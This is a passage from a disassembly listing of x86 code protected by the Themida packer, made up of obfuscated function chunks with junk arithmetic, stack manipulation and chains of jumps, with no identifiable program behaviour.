; FUNCTION CHUNK AT 0059F358 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F95F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A006E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A086E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A0E3B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A1149 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1607 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A23AF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A35C9 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A5545 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A5942 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A5A05 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5C6A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A63F3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A72C3 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A7528 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA729 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AAF62 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AC4BF SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005ADE12 SIZE 00000018 BYTES

		sub	esp, 4
		jmp	loc_599DD8
sub_5A28BE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_5A28C6:				; CODE XREF: sub_59F2C8+681Bj
		pop	edi
		jmp	loc_598DEC
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A28CC:				; CODE XREF: sub_5AB88E-1AEFj
		xor	ebp, 29976AD6h
		add	ebp, 963C5F1h
		sub	edx, ebp
		pop	ebp
		mov	ebx, [esp+0]
		add	esp, 4
		sub	edx, 4
		push	edx
		push	[esp+arg_0]
		pop	edx
		jmp	loc_5AE3E1
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_5A28F5:				; CODE XREF: Themida_:005A9C3Aj
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		mov	eax, 4
		push	ebp
		mov	ebp, 59EB34EFh
		not	ebp
		push	edx
		mov	edx, 2D243302h
		shr	edx, 4
		inc	edx
		jmp	loc_5A396F

; =============== S U B	R O U T	I N E =======================================



sub_5A2923	proc near		; CODE XREF: sub_5A600F+3DBBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A52F0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AAF27 SIZE 00000009 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	bh, 5
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	al, 39h
		jmp	loc_5A52F0
sub_5A2923	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A293B:				; CODE XREF: sub_59C53B-2AF6j
		mul	cx
		push	6A09h
		jmp	loc_5ACAA2
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A2948:				; CODE XREF: sub_5AB3DC-82E9j
		mov	edi, 3BE04951h
		jmp	loc_5AB724
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_5A2952:				; CODE XREF: sub_5A34FD:loc_598437j
		push	edx
		xor	byte ptr [esp+4+var_4+1], al
		xor	al, byte ptr [esp+4+var_4+1]
		xor	byte ptr [esp+4+var_4+1], al
		not	al
		jmp	loc_5A9569
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5A2966:				; CODE XREF: sub_5AB98B-DB10j
		not	esi
		xor	esi, 6164074Bh
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp+0]
		pop	esp
		push	ecx
		mov	ecx, esp
		push	edi
		push	esi
		mov	esi, 21447A4Ah
		add	esi, 201A04C2h
		ja	loc_5A94B0
		shr	esi, 4
		sub	esi, 2DDC047Ah
		mov	bl, 0B6h
		push	edx
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; START	OF FUNCTION CHUNK FOR sub_5AD8C7


loc_5A2998:				; CODE XREF: sub_5AD8C7-99C3j
		add	edx, 2BCA42A2h
		add	edx, ebp
		sub	edx, 2BCA42A2h
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		mov	esi, edx
		mov	edx, [esp+0Ch+var_C]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		pop	esp
		add	ebx, esi
		pop	esi
		push	edi
		push	ecx
		jmp	loc_59B3F7
; END OF FUNCTION CHUNK	FOR sub_5AD8C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFBF


loc_5A29CA:				; CODE XREF: Themida_:005AE50Ej
					; sub_59CFBF+11929j
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5A45D9
; END OF FUNCTION CHUNK	FOR sub_59CFBF
; ---------------------------------------------------------------------------


loc_5A29D5:				; CODE XREF: Themida_:005A66C8j
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_59C309
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A29DF:				; CODE XREF: sub_5A1B2A+2DA4j
		mov	dh, 4Bh
		sub	dh, 3Ah
		xor	dh, 2Bh
		push	ecx
		mov	cl, 42h
		add	dh, cl
		pop	ecx
		add	dh, 0Ah
		and	ch, dh
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		sub	ch, 19h
		xor	al, ch
		pop	ecx
		push	eax
		push	dx
		mov	dh, 55h
		push	4684h
		mov	[esp+0], ebx
		mov	bl, dh
		push	edx
		jmp	loc_5AA5C0
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A2A16:				; CODE XREF: sub_59D99C-2436j
					; sub_59C53B+5788j
		pop	edx
		sub	ecx, 1ACA1567h
		push	esi
		mov	esi, 6CEA5A1Bh
		sub	ecx, esi
		jmp	loc_5A5FF3
; END OF FUNCTION CHUNK	FOR sub_59D99C

; =============== S U B	R O U T	I N E =======================================



sub_5A2A2A	proc near		; CODE XREF: sub_5A8C33:loc_59BBD6j
					; sub_5AB3DC-DB6Aj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059F75F SIZE 0000001C BYTES

		push	ebp
		jmp	loc_59F75F
sub_5A2A2A	endp

; ---------------------------------------------------------------------------


loc_5A2A30:				; CODE XREF: Themida_:005ACF0Ej
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A023E
; ---------------------------------------------------------------------------


loc_5A2A3E:				; CODE XREF: Themida_:0059F596j
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_5A11F3
; ---------------------------------------------------------------------------


loc_5A2A48:				; CODE XREF: Themida_:005AC2F4j
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59D9CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A2A62:				; CODE XREF: sub_5A7343:loc_5AC198j
					; sub_5A91EC+5EB0j
		and	dl, 0F8h
		jno	loc_5ABC44
		xor	dl, 0A7h
		xor	dl, 8Fh
		sub	al, 77h
		sub	al, dl
		add	al, 77h


loc_5A2A77:				; CODE XREF: Themida_:0059A4E4j
		neg	edx
		add	edx, 0C09285B9h
		sub	edi, edx
		pop	edx
		add	edi, edx
		add	edi, 7D133C3Ah
		pop	edx
		jmp	loc_599312
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A8E4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A2A9F:				; CODE XREF: sub_5A8C33-5C61j
		mov	eax, [esp+4+var_4]
		push	68D6h
		mov	[esp+8+var_8], edx
		jmp	loc_5A9616
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F5C0


loc_5A2AAF:				; CODE XREF: sub_59F5C0+12j
		pop	edx
		jmp	loc_597DFE
; END OF FUNCTION CHUNK	FOR sub_59F5C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5A2AB5:				; CODE XREF: sub_59D24A+109F2j
		pop	edi
		add	esi, 2
		push	esi
		jmp	loc_5ABFE9
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 56FE6972h
		push	2FA9h
		mov	[esp], edx
		mov	edx, 34307E79h
		push	687Ah
		jmp	loc_59B111
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_5A2ADF:				; CODE XREF: sub_59AE49+13827j
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 20482E6Ah
		inc	esi
		dec	esi
		not	esi
		sub	esi, 0DFB7D191h
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		and	eax, edx
		pop	edx
		jmp	loc_59AEC8
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_5A2B06:				; CODE XREF: sub_599721+B3B6j
		mov	esi, esp
		add	esi, 4
		jmp	sub_59B923
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------


loc_5A2B13:				; CODE XREF: Themida_:005A89B2j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	eax
		mov	eax, 55DF7A97h
		xor	eax, 55DF7A93h
		sub	ebx, 211C768Dh
		jmp	loc_59A25E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A2B32:				; CODE XREF: sub_5ACD64-FE97j
		pop	esi
		inc	ebp
		sub	ebp, 0FFFFFFFFh
		shr	ebp, 8
		dec	ebp
		shl	ebp, 3
		xor	ebp, 34C200Ch
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp-10h+arg_C]
		pop	esp
		xchg	eax, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		mul	ecx
		sub	esp, 4
		jmp	loc_59A57C
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_5A2B61:				; CODE XREF: Themida_:0059AFA7j
		pop	di
		pop	small word ptr [esp]
		push	di
		push	bx
		jmp	loc_5988C2
; ---------------------------------------------------------------------------


loc_5A2B70:				; CODE XREF: Themida_:005A71FFj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A37E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A2B7E:				; CODE XREF: sub_59D99C+11007j
		pop	eax
		jmp	loc_5A5212
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A799C


loc_5A2B84:				; CODE XREF: sub_5A799C+6962j
		mov	ecx, [esp-6+arg_2]
		jmp	loc_5A14B1
; END OF FUNCTION CHUNK	FOR sub_5A799C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A2B8C:				; CODE XREF: sub_59FFBE-2993j
		pop	eax
		mov	edi, 749D3CB3h
		xor	edi, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		xor	edi, 0F9C2483h
		jmp	loc_5A36F4
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------


loc_5A2BA5:				; CODE XREF: Themida_:005AD902j
		mov	[esp], ecx
		mov	ecx, 1866626Eh
		xor	ecx, 224178B7h
		mov	esi, ecx
		pop	ecx
		push	ebp
		jmp	loc_5983F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_5A2BBC:				; CODE XREF: sub_5A95E0-8B3Bj
		pop	ebx
		push	ecx
		push	edx
		jmp	loc_5A3308
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5A2BC4:				; CODE XREF: sub_59ACEC-6DFj
		sub	esi, 7C2463D3h
		sub	esi, eax
		add	esi, 7C2463D3h
		pop	eax
		add	edi, esi
		mov	esi, [esp+0]
		add	esp, 4
		sub	edi, ebp
		push	edx
		mov	edx, 58C84786h
		push	6C27h
		mov	[esp+4+var_4], ebp
		mov	ebp, 4963395Ch
		inc	ebp
		add	ebp, 53BA5A68h
		xor	ebp, 0BCA0BE81h
		sub	edi, ebp
		pop	ebp
		sub	edi, edx
		add	edi, 21BD2D44h
		jmp	loc_5A60CA
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A2C0D:				; CODE XREF: sub_5ACD64+D93j
		add	eax, 4
		xchg	eax, [esp-10h+arg_C]
		pop	esp
		push	4FB2h
		jmp	loc_5AB6BE
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5A2C1E:				; CODE XREF: sub_597C68+1275Bj
		xchg	edi, [esp+0]
		not	edi
		xchg	edi, [esp+0]
		pop	eax
		xor	eax, 0C135F16Dh
		add	esi, eax
		pop	eax
		jmp	loc_5A4963
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B0C4


loc_5A2C34:				; CODE XREF: sub_59B0C4+3j
		push	[esp+4+var_4]
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_5ACBBE
; END OF FUNCTION CHUNK	FOR sub_59B0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_5A2C46:				; CODE XREF: sub_59ACCE-17C1j
		mov	ecx, esp
		jmp	loc_5AA715
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A2C4D:				; CODE XREF: sub_59D99C+55F8j
		pop	edx
		jmp	loc_5A990A
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6F21


loc_5A2C53:				; CODE XREF: sub_5A6F21-8405j
		push	[esp-4+arg_0]
		pop	edx
		add	esp, 4
		and	[edi+1Ch], ebx
		jmp	loc_599939
; END OF FUNCTION CHUNK	FOR sub_5A6F21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACC65


loc_5A2C65:				; CODE XREF: sub_5ACC65-10DC6j
		pop	esi
		xor	ebp, [esp-4+arg_0]
		jmp	loc_5AF110
; END OF FUNCTION CHUNK	FOR sub_5ACC65
; ---------------------------------------------------------------------------


loc_5A2C6E:				; CODE XREF: Themida_:005A1BFFj
		push	70Fh
		mov	[esp], ecx
		jmp	loc_5ABAD1
; ---------------------------------------------------------------------------


loc_5A2C7B:				; DATA XREF: Themida_:00597960o
		mov	ax, [esp]
		push	4004h
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		push	edx
		mov	edx, 4
		sub	dword ptr [esp+4], 3E1E48F9h
		add	[esp+4], edx
		add	dword ptr [esp+4], 3E1E48F9h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5AE42A
; ---------------------------------------------------------------------------


loc_5A2CC9:				; CODE XREF: Themida_:0059A718j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A780A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6DA1


loc_5A2CD9:				; CODE XREF: sub_5A6DA1+4CB1j
		sub	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ebx
		add	[esp-8+arg_4], 5FB13DE3h
		jmp	loc_59B1EE
; END OF FUNCTION CHUNK	FOR sub_5A6DA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_5A2CF2:				; CODE XREF: sub_5ABE52:loc_5AE257j
		inc	ebx
		js	loc_5983DC
		jmp	loc_59C148
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A2CFE:				; CODE XREF: sub_59A932+1EBj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+14h+var_14]
		jmp	loc_5A80B0
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_5A2D14:				; CODE XREF: sub_59ACCE+C91Bj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edi
		mov	edi, 56942486h
		push	eax
		jmp	loc_5A6973
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------


loc_5A2D2E:				; CODE XREF: Themida_:005ABAE8j
		dec	ecx
		js	loc_59C50F
		shl	ecx, 8
		sub	ecx, 3B2EF6A6h
		push	ecx
		pop	edi
		jmp	loc_5A3E53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A2D45:				; CODE XREF: sub_5AE6FD-11A47j
		add	bl, dl
		pop	edx
		sub	bl, 0AFh
		jmp	loc_5A46A1
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A2D50:				; CODE XREF: sub_59CA4A+AF30j
		pop	ecx
		xor	ecx, 9818A0C4h
		sub	eax, 38D90F8Eh
		add	eax, ecx
		add	eax, 38D90F8Eh
		mov	ecx, [esp+0]
		add	esp, 4
		add	eax, 4
		jmp	loc_5A5D1E
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5A2D73:				; CODE XREF: sub_5A728F+5E20j
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp+8+var_8]
		pop	esp
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------


loc_5A2D88:				; CODE XREF: Themida_:005A4C5Dj
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_59A808
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A879C


loc_5A2D91:				; CODE XREF: sub_5A879C+42A1j
		pop	eax
		jmp	loc_5A73E5
; END OF FUNCTION CHUNK	FOR sub_5A879C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A2D97:				; CODE XREF: sub_5A141E-7EC0j
		add	eax, 6C932FCEh
		pop	edi
		push	4232h
		mov	[esp+0], edx
		mov	edx, 2
		add	eax, 4BA349AEh
		add	eax, edx
		sub	eax, 4BA349AEh
		mov	edx, [esp+0]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		jmp	loc_5AA821
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D180


loc_5A2DD3:				; CODE XREF: sub_59D180+6j
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	[esp+4+var_4]
		add	dword ptr [esp+0], 4
		mov	eax, [esp+0]
		push	ebp
		jmp	loc_59891A
; END OF FUNCTION CHUNK	FOR sub_59D180
; ---------------------------------------------------------------------------


loc_5A2DEA:				; CODE XREF: Themida_:00597D82j
		xor	edx, 173C1487h
		jp	loc_5A1E81
		add	edx, 0CC35E043h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A4F94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A2E07:				; CODE XREF: sub_5A0F44+CD4j
					; Themida_:loc_5A5FEEj
		mov	[esp-4+arg_0], ebx
		mov	ebx, 0AEC1EDDh
		jmp	loc_5A13CB
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------


loc_5A2E14:				; CODE XREF: Themida_:005ABE15j
		add	[esp+4], esi
		sub	dword ptr [esp+4], 12561B03h
		jmp	loc_5A46DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A2E25:				; CODE XREF: sub_5A600F-442j
		mov	di, word ptr [esp+4+var_4]
		push	esi
		jmp	loc_59865B
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_5A2E2F:				; CODE XREF: Themida_:00598E98j
		mov	edi, ebp
		pop	ebp
		add	edi, 0CF33EB72h
		add	eax, edi
		pop	edi
		sub	eax, ebx
		sub	eax, 18461607h
		push	ebx
		push	eax
		mov	eax, 35E8366Ah
		sub	eax, 9784376h
		xor	eax, 2C35E208h
		jmp	loc_59EDD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A2E58:				; CODE XREF: Themida_:005A4EEFj
					; sub_597F0C+11493j
		push	360470DFh
		jmp	loc_5AA008
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A2E62:				; CODE XREF: sub_5A7343+6EBBj
		or	edx, 74B82FF6h
		jmp	loc_59C97E
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------


loc_5A2E6D:				; CODE XREF: Themida_:005995BCj
		sub	edx, 70B233D5h
		jmp	loc_5A63EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A2E78:				; CODE XREF: sub_5A0F44+5CE9j
		add	[esp-4+arg_4], esi
		pop	esi
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp-8+arg_4], edi
		jmp	loc_5A5E46
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------


loc_5A2E92:				; CODE XREF: Themida_:005AC998j
		add	esp, 4
		sub	esi, 4
		jmp	loc_5A7F91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A2E9D:				; CODE XREF: sub_5A8C33-189Fj
		mov	[esp+8+var_8], eax
		push	ecx
		sub	[esp+0Ch+var_C], 53C132F6h
		pop	eax
		add	eax, 53C132F6h
		mov	edx, eax
		pop	eax
		pop	ecx
		dec	edx
		push	edi
		jmp	loc_5A95EC
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A2EB9:				; CODE XREF: Themida_:005AE102j
		mov	eax, 0A2F4ABEh
		and	eax, 177563A7h
		jp	loc_5AD00A
		and	eax, 475103D5h
		jb	loc_5AB6DB
		mov	al, al
		or	al, 62h


loc_5A2ED8:				; CODE XREF: Themida_:005A62DAj
		push	esi
		push	esp
		pop	esi
		jmp	loc_5A4DA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_5A2EE0:				; CODE XREF: sub_59F20F-196Fj
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp+4+var_4]
		pop	esp
		push	106Bh
		mov	[esp+4+var_4], edi
		push	esp
		mov	edi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5AAD85
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------


loc_5A2EFB:				; CODE XREF: Themida_:0059AD60j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A60AD
; ---------------------------------------------------------------------------


loc_5A2F09:				; CODE XREF: Themida_:00598E6Cj
		add	ebp, edi
		jmp	loc_5A7083
; ---------------------------------------------------------------------------


loc_5A2F10:				; CODE XREF: Themida_:0059CF80j
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_5A2F15:				; CODE XREF: Themida_:005A8FC2j
		shl	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59C9CC
; ---------------------------------------------------------------------------


loc_5A2F23:				; CODE XREF: Themida_:005996F3j
		mov	[esp], ebp
		jmp	loc_5ABDBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A2F2B:				; CODE XREF: sub_5AB88E-A535j
		mov	[esp+0Ch+var_C], ecx
		sub	esp, 4
		jmp	loc_5A06EB
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A2F36:				; CODE XREF: sub_5A8C33+4AABj
		push	dword ptr [esp+4]
		jmp	loc_5A30B3
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE919


loc_5A2F3F:				; CODE XREF: sub_5AE919-142DCj
		shr	edx, 1
		or	edx, 22412F48h
		sub	edx, 0DD37BBFFh
		xor	edi, edx
		pop	edx
		inc	edi
		shr	edi, 7
		shr	edi, 7
		not	edi
		add	edi, 0FF8D1AE0h
		sub	ecx, edi
		pop	edi
		mov	ebx, ecx
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		and	eax, ebx
		push	[esp-10h+arg_C]
		mov	ebx, [esp-0Ch+arg_8]
		jmp	loc_5A5537
; END OF FUNCTION CHUNK	FOR sub_5AE919
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A2F77:				; CODE XREF: sub_5ACD64-8437j
		mov	edi, 661321D9h
		add	eax, edi
		mov	edi, [esp-10h+arg_C]
		jmp	loc_5A4A6D
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A2F86:				; CODE XREF: Themida_:0059FBFBj
					; sub_59D99C+11599j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		jmp	loc_5A2C4D
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A2F99:				; CODE XREF: sub_59B707+B147j
		mov	ebp, [esp-8+arg_2+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	sub_5A28BE
; ---------------------------------------------------------------------------


loc_5A2FA9:				; CODE XREF: sub_59B707+10989j
		push	dword ptr [esp]
		push	dword ptr [esp+0]
		jmp	loc_5A30F8
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A2FB4:				; CODE XREF: sub_59D99C+B84Bj
		add	ecx, edi
		jmp	loc_59B942
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A2FBB:				; CODE XREF: sub_5A8C33-F8E4j
		shr	edi, 6
		js	loc_5A2895
		xor	edi, 50903042h
		push	eax
		mov	eax, 1D2F066Ch
		xor	edi, eax
		jmp	loc_5A2A9F
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5A2FD7:				; CODE XREF: sub_5A1340-2455j
		push	9B8h
		mov	[esp+8+var_8], eax
		push	edx
		mov	dl, 6Dh
		push	eax
		mov	ah, dl
		not	ah
		mov	dl, ah
		jmp	loc_59BB0B
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A2FEE:				; CODE XREF: sub_5AC95F-6C12j
		not	ebx
		dec	ebx
		jno	loc_5A0110
		jmp	loc_5A37E0
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_59CEE0
; ---------------------------------------------------------------------------
		push	eax
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A3004:				; CODE XREF: sub_5A8D43+471Dj
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		add	al, 0Eh
		push	bx
		mov	bl, 8Dh
		jmp	loc_5AB9E5
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5A3019:				; CODE XREF: sub_598D67+AF40j
		pop	edx
